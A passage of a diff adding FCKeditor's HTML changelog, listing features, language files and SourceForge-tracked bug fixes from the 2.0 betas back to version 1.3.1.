+               <li>The new <strong>Find</strong> and <strong>Replace</strong> features has been introduced.
+               </li>
+               <li>A new <strong>Plug-in</strong> system has been developed. Now it is quite easy to
+                       customize the editor to your needs. (Take a look at the html/sample06.html file).
+               </li>
+               <li>The editor now handles <strong>HTML entities</strong> in the right way (XHTML support
+                       must be set to &quot;true&quot;). It handles all entities defined in the W3C&nbsp;XHTML
+                       DTD file. </li>
+               <li>A new &quot;_docs&quot; folder has been introduced for the <strong>documentation</strong>.
+                       It is not yet complete, but I hope the community will help us to fill it better.
+               </li>
+               <li>It is now possible (even if it is not recommended by the W3C) to force the use of
+                       simple ampersands (&amp;) on attributes (like the links href) instead of its entity
+                       &amp;amp;. Just set FCKConfig.ForceSimpleAmpersand = true in the&nbsp;configuration
+                       file. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026866&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1026866</a>] The &quot;<strong>EditorAreaCSS</strong>&quot; configuration
+                       option has been introduced. In this way you can set the CSS to use in the editor
+                       (editable area). </li>
+               <li>The editing area is not anymore clipped if the toolbar is too large and exceeds
+                       the window width. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1064902&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1064902</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1033933&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1033933</a>] The editor <strong>interface</strong> is now completely <strong>localizable</strong>.
+                       The version ships with 19 languages including: <b>Arabic</b>, <b>Bosnian</b>, <b>Catalan</b>,
+                       <b>English</b>, <b>Spanish</b>, <b>Estonian</b>, <b>Finnish</b>, <b>French</b>,
+                       <b>Greek</b>, <b>Hebrew</b>, <b>Croatian</b>, <b>Italian</b>, <b>Korean</b>, <b>Lithuanian</b>,
+                       <b>Norwegian</b>, <strong>Polish</strong>, <strong>Serbian (Cyrillic)</strong>,
+                       <strong>Serbian (Latin)</strong> and <strong>Swedish</strong>.</li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1027858&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1027858</a>] Firefox 1.0 PR&nbsp;introduced&nbsp;a bug that made the editor
+                       stop working on it. A workaround has been developed to fix the problem. </li>
+               <li>There was a positioning problem over IE&nbsp;with the color panel. It has been corrected.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1049842&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1049842</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1033832&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1033832</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1028623&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1028623</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1026610&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1026610</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1064498&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-1064498</a>] The combo commands in the toolbar were not opening
+                       in the right way. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1053399&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1053399</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=965318&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-965318</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1018296&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1018296</a>] The toolbar buttons icons were not showing on some IE and
+                       Firefox/Mac installations. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1054621&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1054621</a>] Color pickers are now working with the &quot;office2003&quot; and
+                       &quot;silver&quot; skins. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1054108&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1054108</a>] IE doesn&rsquo;t recognize the &quot;&amp;apos;&quot; entity for
+                       apostrophes, so a workaround has been developed to replace it with &quot;&amp;#39;&quot;
+                       (its numeric entity representation). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=983434&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-983434</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=983398&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-983398</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1028103&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1028103</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1072496&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1072496</a>] The problem with elements with name &quot;submit&quot;
+                       inside the editor's form has been solved. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1018743&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1018743</a>] The problem with Gecko when collapsing the toolbar while in source
+                       mode has been fixed. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1065268&amp;group_id=75348">SF
+                       BUG-1065268</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1034354&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1034354</a>] The XHTML processor now doesn&rsquo;t use the minimized tag
+                       syntax (like &lt;br/&gt;) for empty elements that are not marked as EMPTY in the
+                       W3C XHTML DTD specifications. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029654&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1029654</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046500&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1046500</a>] Due to a bug on Gecko there was a problem when creating links.
+                       It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1065973&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1065973</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=999792&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-999792</a>] The editor now handles relative URLs in IE. In effect IE transform
+                       all relative URLs to absolute links, pointing to the site the editor is running.
+                       So now the editor removes the protocol and host part of the link if it matches the
+                       running server. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1071824&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1071824</a>] The color dialog box bug has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1052856&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1052856</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046493&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1046493</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1023530&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-1023530</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1025978&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-1025978</a>] The editor now doesn&rsquo;t throw an error if no selection
+                       was made and the create link command is used. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1036756&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1036756</a>] The XHTML processor has been reviewed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1029101&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1029101</a>] The Paste from Word feature is working correctly. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1034623&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1034623</a>] There is an IE bug when setting the editor value to &quot;&lt;p&gt;&lt;hr&gt;&lt;/p&gt;&quot;.
+                       A workaround has been developed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1052695&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1052695</a>] There are some rendering differences between Netscape and Mozilla.
+                       (Actually that is a bug on both browsers). A workaround has been developed to solve
+                       it. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1073053&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1073053</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1050394&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1050394</a>] The editor doesn&rsquo;t throw errors when hidden. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1066321&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1066321</a>] Scrollbars should not appear on dialog boxes (at least for the
+                       Image and Link ones). </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1046490&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1046490</a>] Dialogs now are forced to show on foreground over Mac. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=1073955&amp;group_id=75348">SF
+                       BUG-1073955</a>] A small bug in the image dialog window has been corrected. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1049534&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1049534</a>] The Resources Browser window is now working well over Gecko browsers.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1036675&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1036675</a>] The Resources Browser window now displays the server error on bad
+                       installations.</li>
+       </ul>
+       <h3>
+               Version 2.0 Beta 2</h3>
+       <ul>
+               <li>There is a new configuration - &quot;<strong>GeckoUseSPAN</strong>&quot; - that
+                       can be used to tell Gecko browsers to use &lt;SPAN style...&gt; or &lt;B&gt;, &lt;I&gt;
+                       and &lt;U&gt; for the bold, italic and underline commands. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1002622&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-1002622</a>] New <strong>Text Color</strong> and&nbsp;<strong>Background Color</strong>
+                       &nbsp;commands have been added to the editor. </li>
+               <li>On Gecko browsers, a message is shown when,&nbsp;because of&nbsp;security settings,&nbsp;the
+                       user&nbsp;is not able to&nbsp;cut, copy or paste data from the clipboard using the
+                       toolbar buttons or the context menu. </li>
+               <li>The new &quot;<strong>Paste as Plain Text</strong> &quot; command has been introduced.
+               </li>
+               <li>The new &quot;<strong>Paste from Word</strong> &quot; command has been introduced.
+               </li>
+               <li>A new configuration named&nbsp;&quot;StartupFocus&quot; can be used to tell the
+                       editor to get the focus when the page is loaded. </li>
+               <li>All <strong>Java </strong>integration files has been moved to a new separated package.
+               </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1016781&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1016781</a>] <strong>Table operations</strong> are now working when right click
+                       inside a table. The following commands has been introduced: <strong>Insert Row</strong>,
+                       <strong>Delete Row</strong>, <strong>Insert Column</strong>, <strong>Delete Column</strong>,
+                       <strong>Insert Cell</strong> and <strong>Delete Cells</strong> . </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=965067&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-965067</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1010379&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-1010379</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=977713&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-977713</a>] XHTML support was not working with FireFox, blocking the
+                       editor when submitting data. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1007547&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1007547</a> ] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=974595&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-974595</a> ]&nbsp;The &quot;FCKLang not defined&quot; error when loading
+                       has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=1021028&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-1021028</a>] If the editor doesn't have the focus, some commands were been executed
+                       outside the editor in the place where the focus is. It has been fixed. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=981191&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-981191</a>] We are now using &lt;!--- ---&gt; for ColdFusion comments.</li>
+       </ul>
+       <h3>
+               Version 2.0 Beta 1</h3>
+       <p>
+               This is the first beta of the 2.x series. It brings a lot of new and important things.
+               Beta versions will be released until all features available on version 1.x will
+               be introduced in the 2.0.<br />
+               <br />
+               <strong>Note:</strong> As it is a beta, it is not yet completely developed. Future
+               versions can bring new features that can break backward compatibility with this
+               version.
+       </p>
+       <ul>
+               <li>Gecko browsers (<strong>Mozilla</strong> and <strong>Netscape</strong>) support.
+               </li>
+               <li><strong>Quick startup</strong> response times. </li>
+               <li>Complete <strong>XHTML</strong> 1.0 support. </li>
+               <li><strong>Advanced link</strong> dialog box:
+                       <ul>
+                               <li>Target selection. </li>
+                               <li>Popup configurator. </li>
+                               <li>E-Mail link. </li>
+                               <li>Anchor selector. </li>
+                       </ul>
+               </li>
+               <li>New <strong>File Manager</strong>. </li>
+               <li>New dialog box system, with <strong>tabbed dialogs</strong> support. </li>
+               <li>New <strong>context menus</strong> with icons. </li>
+               <li>New toolbar with &quot;expand/collapse&quot; feature. </li>
+               <li><strong>Skins</strong> support. </li>
+               <li><strong>Right to left languages</strong> support. </li>
+       </ul>
+       <h3>
+               Version 1.6.1</h3>
+       <ul>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=862364&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-862364</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=812733&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-812733</a>] There was a problem when the user tried to delete the last row,
+                       collumn or cell in a table. It has been corrected.* </li>
+               <li>New Estonian language file. Thanks to Kristjan Kivikangur </li>
+               <li>New Croatian language file. Thanks to Alex Varga. </li>
+               <li>Updated language file for Czech. Thanks to Plachow. </li>
+               <li>Updated language file for Chineze (zh-cn). Thanks to Yanglin. </li>
+               <li>Updated language file for Catalan. Thanks to Jordi Cerdan.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.genuitec.com/">Genuitec,
+                       LLC</a>.</p>
+       <h3>
+               Version 1.6</h3>
+       <ul>
+               <li><strong>Context Menu</strong> support for <strong>form</strong> elements.* </li>
+               <li>New <strong>&quot;Selection Field&quot; command</strong> with advanced dialog box
+                       for options definitions.* </li>
+               <li>New <strong>&quot;Image Button&quot; command</strong> is available.* </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=936196&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-936196</a>] Many form elements <strong>bugs has been fixed</strong> and
+                       <strong>many improvements</strong> has been done.* </li>
+               <li>New <strong>Java Integration Module</strong>. There is a complete Java API and Tag
+                       Library implementations. Take a look at the _jsp directory. Thanks to Simone Chiaretta
+                       and Hao Jiang. </li>
+               <li>The <strong>Word Spell Checker</strong> can be used. To be able to run it, your
+                       browser security configuration &quot;Initialize and script ActiveX controls not
+                       marked as safe&quot; must be set to &quot;Enable&quot; or &quot;Prompt&quot;. And
+                       easier and more secure way to do that is to add your site in the list of trusted
+                       sites. IeSpell can still be used. Take a look at the fck_config.js file for some
+                       configuration options. Thanks to EdwardRF. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=748807&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-748807</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=801030&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-801030</a>] [<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=880684&amp;group_id=75348&amp;atid=543656">SF
+                                       Feature-880684</a>] New &quot;<strong>Anchor&quot; command</strong>, including
+                       context menu support. Thanks to G.Meijer. </li>
+               <li>Special characters are replaced with their decimal HTML entities when the XHMTL
+                       support is enabled (only over IE5.5+). </li>
+               <li>New <strong>Office 2003 Style</strong> toolbar icons are available. Just uncomment
+                       the config.ToolbarImagesPath key in the fck_config.js file. Thanks to Abdul-Aziz
+                       A. Al-Oraij. <strong>Attention</strong>: the default toolbar items have been moved
+                       to the &quot;images/toolbar/default&quot; directory. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=934566&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-934566</a>] <strong>Double click support</strong> for Images, Tables, Links,
+                       Anchors and all Form elements. Thanks to Top Man. </li>
+               <li>New <strong>&quot;New Page&quot; command</strong> to start a typing from scratch.
+                       Thanks to Abdul-Aziz A. Al-Oraij. </li>
+               <li>New <strong>&quot;Replace&quot; command</strong>. Thanks to Abdul-Aziz A. Al-Oraij.
+               </li>
+               <li>New <strong>&quot;Advanced Font Style&quot; command</strong>. Thanks to Abdul-Aziz
+                       A. Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=738193&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-738193</a>] New <strong>&quot;Save&quot; command</strong>. It can be used
+                       to simulate a save action, but in fact it just submits the form where the editor
+                       is placed in. Thanks to Abdul-Aziz A. Al-Oraij. </li>
+               <li>New <strong>&quot;Universal Keyboard&quot; command</strong>. This 22 charsets are
+                       available: Arabic, Belarusian, Bulgarian, Croatian, Czech, Danish, Finnish, French,
+                       Greek, Hebrew, Hungarian, Diacritical, Macedonian, Norwegian, Polish, Russian, Serbian
+                       (Cyrillic), Serbian (Latin), Slovak, Spanish, Ukrainian and Vietnamese. Includes
+                       a keystroke listener to type Arabic on none Arabic OS or machine. Thanks to Abdul-Aziz
+                       A. Al-Oraij. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=935358&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-935358</a>] New <strong>&quot;Preview&quot; command</strong>. Context menu
+                       option is included and can be deactivated throw the config.ShowPreviewContextMenu
+                       configuration. Thanks to Ben Ramsey. </li>
+               <li>New &quot;<strong>Table Auto Format</strong>&quot; context menu command. Hack a
+                       little the fck_config.js and the fck_editorarea.css files. Thanks to Alexandros
+                       Lezos. </li>
+               <li>New &quot;<strong>Bulleted List Properties</strong> &quot; context menu to define
+                       its type and class. Thanks to Alexandros Lezos. </li>
+               <li>The <strong>image dialog</strong> box has been a <strong>redesigned</strong> . Thanks
+                       to Mark Fierling. </li>
+               <li>Images now always have the <strong>&quot;alt&quot; attribute</strong> set, even
+                       when it's value is empty. Thanks to Andreas Barnet. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=942250&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-942250</a>] You can set on fck_config.js to <strong>automatically clean Word</strong>
+                       pasting operations without a user confirmation. </li>
+               <li>Forms element dialogs and other localization pending labels has been updated. </li>
+               <li>A new <strong>Lithuanian</strong> language file is available. Thanks to Tauras Paliulis.
+               </li>
+               <li>A new <strong>Hebrew</strong> language file is available. Thanks to Ophir Radnitz.
+               </li>
+               <li>A new <strong>Serbian</strong> language file is available. Thanks to Zoran Subic.
+               </li>
+               <li><strong>Danish</strong> language file updates. Thanks to Flemming Jensen. </li>
+               <li><strong>Catalan</strong> language file updates. Thanks to Jordi Cerdan. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=936514&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-936514</a>] [<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=918716&amp;group_id=75348">SF
+                               BUG-918716</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=931037&amp;group_id=75348&amp;atid=543653">SF
+                                       BUG-931037</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=865864&amp;group_id=75348&amp;atid=543653">SF
+                                               BUG-865864</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=915410&amp;group_id=75348&amp;atid=543653">SF
+                                                       BUG-915410</a>] [<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=918716&amp;group_id=75348&amp;atid=543653">SF
+                                                               BUG-918716</a>] Some <strong>languages files</strong> were not
+                       saved on <strong>UTF-8</strong> format causing some javascript errors on loading
+                       the editor or making &quot;undefined&quot; to show on editor labels. This problem
+                       was solved. </li>
+               <li>Updates on the testsubmit.php file. Thanks to Geat and Gabriel Schillaci </li>
+               <li>[<a href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=924620&amp;group_id=75348">SF
+                       BUG-924620</a>] There was a problem when setting a name to an editor instance when
+                       the name is used by another tag. For example when using &quot;description&quot;
+                       as the name in a page with the &lt;META name=&quot;description&quot;&gt; tag. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=935018&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-935018</a>] The &quot;buletted&quot; typo has been corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=902122&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-902122</a>] Wrong css and js file references have been corrected. </li>
+               <li>[<a href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=918942&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-918942</a>] All dialog boxes now accept Enter and Escape keys as Ok and Cancel
+                       buttons.</li>
+       </ul>
+       <p>
+               * This version has been partially sponsored by <a href="http://www.genuitec.com/">Genuitec,
+                       LLC</a>.</p>
+       <h3>
+               Version 1.5</h3>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543656&amp;aid=913777&amp;group_id=75348">SF
+                       Feature-913777</a>] <strong>New Form Commands</strong> are now available! Special
+                       thanks to G.Meijer. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/index.php?func=detail&amp;aid=861149&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-861149</a>] <strong>Print Command</strong> is now available! </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=743546&amp;group_id=75348">SF
+                       BUG-743546</a>] The <strong>XHTML content duplication problem </strong>has been
+                       <strong>solved</strong> . Thanks to Paul Hutchison. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=875853&amp;group_id=75348">SF
+                       BUG-875853</a>] The <strong>image dialog box</strong> now gives precedence for width
+                       and height values set as styles. In this way a user can change the size of the image
+                       directly inside the editor and the changes will be reflected in the dialog box.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543656&amp;aid=913777&amp;group_id=75348">SF
+                       Feature-788368</a>] The sample <strong>file upload </strong>manager for ASPX now
+                       uses <strong>guids</strong> for the file name generation. In this way a support
+                       XML file is not needed anymore. </li>
+               <li>It's possible now to <strong>programmatically change the Base Path</strong> of the
+                       editor if it's installed in a directory different of &quot;/FCKeditor/&quot;. Something
+                       like this:<br />
+                       oFCKeditor.BasePath = '/FCKeditor/' ;<br />
+                       Take a look at the _test directory for samples. </li>
+               <li>There was a little bug in the TAB feature that moved the insertion point if there
+                       were any object (images, tables) in the content. It has been fixed. </li>
+               <li>The problem with <strong>accented and international characters</strong> on the PHP
+                       test page was solved. </li>
+               <li>A new <strong>Chinese (Taiwan)</strong> language file is available. Thanks to Nil.
+               </li>
+               <li>A new <strong>Slovenian</strong> language file is available. Thanks to Pavel Rotar.
+               </li>
+               <li>A new <strong>Catalan</strong> language file is available. Thanks to Jordi Cerdan.
+               </li>
+               <li>A new <strong>Arabic</strong> language file is available. Thanks to Abdul-Aziz A.
+                       Al-Oraij. </li>
+               <li>Small corrections on the <strong>Norwegian</strong> language file. </li>
+               <li>A Java version for the test results (testsubmit.jsp) is now available. Thanks to
+                       Pritpal Dhaliwal. </li>
+               <li>When using JavaScript to create a editor instance it's possible now to easily get
+                       the editor's value calling oFCKeditor.GetValue() (eg.). Better JavaScript API interfaces
+                       will be available on version 2.0. </li>
+               <li>If <strong>XHTML</strong> is enabled the editor cleans the HTML before showing it
+                       on the Source View, so the exact result can be viewed by the user. This option can
+                       be activated setting config.EnableSourceXHTML = true in the fck_config.js file.
+               </li>
+               <li>The <strong>JS integration object</strong> now escapes all configuration settings,
+                       in this way a user can use <strong>reserved chars</strong> on it. For example:
+                       <br />
+                       oFCKeditor.Config[&quot;ImageBrowserURL&quot;] = '/imgs/browse.asp?filter=abc*.jpg&amp;userid=1';
+               </li>
+               <li>A minimal browse server sample is now available in ASP. Thanks to Andreas Barnet.
+               </li>
+       </ul>
+       <h3>
+               Version 1.4</h3>
+       <ul>
+               <li><strong>ATTENTION: For PHP users</strong>: The editor was changed and now uses <strong>
+                       htmlspecialchars</strong> instead of <strong>htmlentities</strong> when handling
+                       the initial value. It should works well, but please make some tests before upgrading
+                       definitively. If there is any problem just uncomment the line in the fckeditor.php
+                       file (and send me a message!). </li>
+               <li>The editor is now integrated with <strong>ieSpell</strong> (<a href="http://www.iespell.com">http://www.iespell.com</a>)
+                       for <strong>Spell Checking</strong>. You can configure the download URL in then
+                       fck_config.js file. Thanks to Sanjay Sharma. (ieSpell is free for personal use but
+                       must be paid for commercial use) </li>
+               <li><strong>Table</strong> and <strong>table cell</strong> dialogs has been changed.
+                       Now you can <strong>select the class</strong> you want to be applied. Thanks to
+                       Alexander Lezos. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=865378&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-865378</a>]A new <strong>upload support is available for ASP</strong>. It
+                       uses the /UserImages/ folder in the root of the web site as the files container
+                       and a counter controlled by the upload.cnt file. Both must have write permissions
+                       set to the IUSR_xxx user. Thanks to Trax and Juanjo. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=798128&amp;group_id=75348&amp;atid=543655">SF
+                       Patch-798128</a>] The user (programmer) can now define a <strong>custom separator</strong>
+                       for the list items of a combo in the toolbar. Thanks to Wulff D. Heiss. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=741963&amp;group_id=75348&amp;atid=543656">SF
+                       Feature-741963</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=878941&amp;group_id=75348&amp;atid=543656">SF
+                               Feature-878941</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=869389&amp;group_id=75348&amp;atid=543655">SF
+                                       Patch-869389</a>] A minimal support for a &ldquo;fake&rdquo; <strong>TAB is now available</strong>,
+                       even if HTML has no support for TAB. Now when the user presses the TAB key a configurable
+                       number of spaces (&amp;nbsp;) is added. Take a look at config.TabSpaces on the fck_config.js
+                       file. No action is performed if it is set to zero. The default value is 4. Thanks
+                       to Phil Hassey. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=782779&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-782779</a>][<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=790939&amp;group_id=75348&amp;atid=543653">SF
+                               BUG-790939</a>] The problem with big images has been corrected. Thanks to Raver.
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&amp;atid=543653&amp;aid=853374&amp;group_id=75348">SF
+                       BUG-862975</a>] Now the editor does nothing if no image is selected in the image
+                       dialog box and the OK button is hit. </li>
+               <li>[<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&amp;aid=851609&amp;group_id=75348&amp;atid=543653">SF
+                       BUG-851609</a>] The problem with ASP and null values has been solved. </li>
+               <li><strong>Norwegean</strong> language pack. Thanks to Martin Kronstad. </li>
+               <li><strong>Hungarian</strong> language pack. Thanks to Bal&aacute;zs Szab&oacute;.
+               </li>
+               <li><strong>Bosnian</strong> language pack. Thanks to Trax. </li>
+               <li><strong>Japanese</strong> language pack. Thanks to Kato Yuichiro. </li>
+               <li>Updates on the <strong>Polish</strong> language pack. Thanks to Norbert Neubauer.
+               </li>
+               <li>The <strong>Chinese (Taiwan)</strong> (zh-tw) has been removed from the package
+                       because it's corrupt. I'm sorry. I hope someone could send me a good version soon.
+               </li>
+       </ul>
+       <h3>
+               Version 1.3.1</h3>
+       <ul>
+               <li>It's now possible to configure the editor the insert a <strong>&lt;BR&gt; tag instead
